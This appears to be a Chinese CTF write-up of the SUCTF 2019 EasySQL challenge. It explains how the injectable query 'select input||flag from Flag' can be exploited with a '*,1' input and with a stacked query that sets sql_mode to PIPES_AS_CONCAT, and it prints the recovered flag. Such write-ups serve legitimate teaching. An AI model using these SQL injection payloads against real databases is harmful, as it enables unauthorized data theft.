[SUCTF 2019]EasySQL

关键的查询代码是 select $post['query']||flag from Flag

  1. 输入的内容为*,1*

    sql语句就变成了select *,1||flag from Flag(此时||是逻辑或)也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内

  2. 输入 1 或 0 查询结果如图,要想办法让 ||不是逻辑或
    官方给的 payload 是1;set sql_mode=PIPES_AS_CONCAT;select 1

    拼接一下就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

    关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT||视为字符串的连接操作符而非 “或” 运算符

  3. 这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个||相当于是将 select 1select flag from flag 的结果拼接在一起

    select 1;select flag from flag(应该是这个意思)
    

    Array ( [0] => 1 ) Array ( [0] => 1flag{550336de-2cb6-4945-977c-e0cc7b204c3b} )

mysql>show tables;
1
flag
mysqlselect *,1 from Flag;
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值